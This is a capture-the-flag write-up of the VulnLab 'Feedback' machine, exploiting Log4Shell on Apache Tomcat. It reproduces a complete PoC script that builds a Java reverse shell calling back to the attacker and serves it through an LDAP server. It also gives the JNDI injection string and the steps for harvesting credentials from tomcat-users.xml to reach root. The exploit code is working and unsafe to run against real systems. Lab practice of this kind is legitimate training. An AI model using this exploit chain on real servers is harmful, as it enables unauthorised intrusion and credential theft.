← All articles

Machine (Easy) - Feedback

Raphael Benoit3 min read
Share
Contents

Writeup for the Feedback machine involves exploiting an Apache Tomcat server using a Log4j vulnerability to achieve remote code execution and root access.

Writeup Author: BobBuilder


Objective: This challenge requires exploiting a Log4j vulnerability on an Apache Tomcat server to gain remote code execution and escalate privileges to root.

Category Difficulty Platform Machine Author
Machine Easy Linux xct

Feedback VulnLab overview


Enumeration

Nmap Scan

nmap -sC -sV -oA nmap/full <machine_name_ip>
  • 22/tcp: OpenSSH 7.6p1 (Ubuntu)
  • 8080/tcp: Apache Tomcat 9.0.56
    • Title: Apache Tomcat/9.0.56

Web Fuzzing

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://<machine_name_ip>:8080/FUZZ
  • Found: /feedback/ (302 redirect)

User

Initial Access

Exploiting Log4j via /feedback

Downloaded and installed on windows jdk-8u202-windows-x64.exe

In the POC Kozmer we set up environment for Java exploitation on Windows (JDK 8u202):

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()
JAVA_PATH = r"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe"
JAVAC_PATH = r"C:\Program Files\Java\jdk1.8.0_202\bin\javac.exe"

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, JAVAC_PATH), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, JAVA_PATH),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, JAVA_PATH),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])

def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)

if __name__ == "__main__":
    main()

Compile, serve malicious Java payload and trigger via JNDI injection:

${jndi:ldap://<attacker_ip>:1389/a}

Feedback VulnLab screenshot 2

Reverse Shell Obtained

Feedback VulnLab screenshot 3 Use a TTY shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Tomcat Credentials

Check tomcat-users.xml:

cat /opt/tomcat/conf/tomcat-users.xml
  • Found: username="admin" with roles="manager-gui"

Root Access using the credentials

su root

Also published on ADMinions ↗